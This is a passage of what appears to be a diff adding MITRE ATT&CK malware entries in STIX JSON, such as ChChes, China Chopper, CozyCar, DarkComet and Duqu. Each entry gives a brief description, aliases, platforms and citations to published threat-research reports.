"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Catchamas", + "x_mitre_aliases": [ + "Catchamas" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "id": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "external_references": [ + { + "external_id": "S0144", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0144" + }, + { + "source_name": "ChChes", + "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)" + }, + { + "source_name": "Scorpion", + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)" + }, + { + "source_name": "HAYMAKER", + "description": "Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named HAYMAKER by FireEye is likely the same as the malware ChChes. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)" + }, + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "JPCERT ChChes Feb 2017", + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "Twitter Nick Carr APT10", + "description": "Carr, N.. (2017, April 6). Retrieved June 29, 2017.", + "url": "https://twitter.com/ItsReallyNick/status/850105140589633536" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:22.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ChChes", + "x_mitre_aliases": [ + "ChChes", + "Scorpion", + "HAYMAKER" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)", + "id": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "external_references": [ + { + "external_id": "S0220", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0220" + }, + { + "source_name": "Chaos", + "description": "(Citation: Chaos Stolen Backdoor)" + }, + { + "source_name": "Chaos Stolen Backdoor", + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Linux" + ], + "modified": "2019-05-10T18:57:52.988Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Chaos", + "x_mitre_aliases": [ + "Chaos" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)", + "id": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "external_references": [ + { + "external_id": "S0107", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0107" + }, + { + "source_name": "Trustwave Cherry Picker", + "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", + "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:05.710Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cherry Picker", + "x_mitre_aliases": [ + "Cherry Picker" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)", + "id": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "external_references": [ + { + "external_id": "S0020", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0020" + }, + { + "source_name": "China Chopper", + "description": "(Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "x_mitre_version": "2.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T16:39:53.803Z", + "type": "malware", + "created": "2017-05-31T21:32:18.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "China Chopper", + "x_mitre_aliases": [ + "China Chopper" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. 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Retrieved April 5, 2017.", + "url": "https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:38.128Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CloudDuke", + "x_mitre_aliases": [ + "CloudDuke", + "MiniDionis", + "CloudLook" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)", + "id": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "external_references": [ + { + "external_id": "S0338", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0338" + }, + { + "source_name": "Cobian RAT", + "description": "(Citation: Zscaler Cobain Aug 2017)" + }, + { + "source_name": "Zscaler Cobian Aug 2017", + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-04-23T21:09:54.593Z", + "type": "malware", + "created": "2019-01-29T21:40:37.350Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "Cobian RAT", + "x_mitre_aliases": [ + "Cobian RAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.(Citation: CoinTicker 2019)", + "id": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "external_references": [ + { + "external_id": "S0369", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0369" + }, + { + "source_name": "CoinTicker 2019", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2019-04-29T21:19:34.739Z", + "type": "malware", + "created": "2019-04-23T18:41:36.914Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CoinTicker", + "x_mitre_contributors": [ + "Richie Cyrus, SpecterOps" + ], + "x_mitre_aliases": [ + "CoinTicker" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) is a remote access tool suspected of being a decedent of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). 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Retrieved August 18, 2016.", + "url": "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:13.252Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ComRAT", + "x_mitre_aliases": [ + "ComRAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. 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Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Comnie", + "x_mitre_aliases": [ + "Comnie" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)", + "id": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "external_references": [ + { + "external_id": "S0050", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0050" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:36.550Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CosmicDuke", + "x_mitre_aliases": [ + "CosmicDuke", + "TinyBaron", + "BotgenStudios", + "NemesisGemina" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CozyCar](https://attack.mitre.org/software/S0046) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)", + "id": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "external_references": [ + { + "external_id": "S0046", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0046" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:17:24.947Z", + "type": "malware", + "created": "2017-05-31T21:32:35.022Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CozyCar", + "x_mitre_aliases": [ + "CozyCar", + "CozyDuke", + "CozyBear", + "Cozer", + "EuroAPT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. 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Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:33:08.679Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Crimson", + "x_mitre_aliases": [ + "Crimson", + "MSIL/Crimson" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.", + "id": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "external_references": [ + { + "external_id": "S0235", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0235" + }, + { + "source_name": "CrossRAT", + "description": "(Citation: Lookout Dark Caracal Jan 2018)" + }, + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "CrossRAT", + "x_mitre_aliases": [ + "CrossRAT" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)", + "id": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "external_references": [ + { + "external_id": "S0255", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0255" + }, + { + "source_name": "DDKONG", + "description": "(Citation: Rancor Unit42 June 2018)" + }, + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "DDKONG", + "x_mitre_aliases": [ + "DDKONG" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)", + "id": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "external_references": [ + { + "external_id": "S0213", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0213" + }, + { + "source_name": "DOGCALL", + "description": "(Citation: FireEye APT37 Feb 2018)" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-01-29T18:23:45.808Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "DOGCALL", + "x_mitre_aliases": [ + "DOGCALL" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) is a Windows remote administration tool and backdoor.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)", + "id": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "external_references": [ + { + "external_id": "S0334", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0334" + }, + { + "source_name": "DarkComet", + "description": "(Citation: TrendMicro DarkComet Sept 2014)" + }, + { + "source_name": "DarkKomet", + "description": "(Citation: TrendMicro DarkComet Sept 2014)" + }, + { + "source_name": "Fynloski", + "description": "(Citation: TrendMicro DarkComet Sept 2014)" + }, + { + "source_name": "Krademok", + "description": "(Citation: TrendMicro DarkComet Sept 2014)" + }, + { + "source_name": "FYNLOS", + "description": "(Citation: TrendMicro DarkComet Sept 2014)" + }, + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. 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Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "x_mitre_version": "1.0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2019-06-04T19:40:43.387Z", + "type": "malware", + "created": "2019-01-29T19:18:28.468Z", + "x_mitre_platforms": [ + "Windows" + ], + "name": "DarkComet", + "x_mitre_aliases": [ + "DarkComet", + "DarkKomet", + "Fynloski", + "Krademok", + "FYNLOS" + ], + "labels": [ + "malware" + ] + }, + { + "modified": "2018-10-17T00:19:37.952Z", + "type": "malware", + "revoked": true, + "id": "malware--310f437b-29e7-4844-848c-7220868d074a", + "name": "Darkmoon", + "external_references": [ + { + "external_id": "S0209", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0209" + } + ], + "created": "2018-04-18T17:59:24.739Z", + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. 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Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Daserf", + "x_mitre_aliases": [ + "Daserf", + "Muirim", + "Nioupale" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). 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Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "DealersChoice", + "x_mitre_aliases": [ + "DealersChoice" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Denis](https://attack.mitre.org/software/S0354) is a Windows backdoor and Trojan.(Citation: Cybereason Oceanlotus May 2017)", + "id": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "external_references": [ + { + "external_id": "S0354", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0354" + }, + { + "source_name": "Denis", + "description": "(Citation: Cybereason Oceanlotus May 2017)" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. 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Retrieved January 26, 2016.", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + }, + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2017-05-31T21:32:18.668Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Derusbi", + "x_mitre_aliases": [ + "Derusbi", + "PHOTO" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)", + "id": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "external_references": [ + { + "external_id": "S0200", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0200" + }, + { + "source_name": "Dipsind", + "description": "(Citation: Microsoft PLATINUM April 2016)" + }, + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Dipsind", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "x_mitre_aliases": [ + "Dipsind" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017).", + "id": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "external_references": [ + { + "external_id": "S0281", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0281" + }, + { + "source_name": "Dok", + "description": "(Citation: objsee mac malware 2017)." + }, + { + "source_name": "Retefe", + "description": "(Citation: objsee mac malware 2017)." + }, + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "macOS" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Dok", + "x_mitre_aliases": [ + "Dok", + "Retefe" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. 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Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "x_mitre_version": "1.0", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2018-10-17T00:14:20.652Z", + "type": "malware", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "DownPaper", + "x_mitre_aliases": [ + "DownPaper" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. 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Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "modified": "2019-04-24T23:18:53.005Z", + "type": "malware", + "created": "2017-05-31T21:32:31.188Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Duqu", + "x_mitre_aliases": [ + "Duqu" + ], + "labels": [ + "malware" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)", + "id": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "external_references": [ + { + "external_id": "S0062", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0062" + }, + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + }, + { + "source_name": "DustySky2", + "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.", + "url": 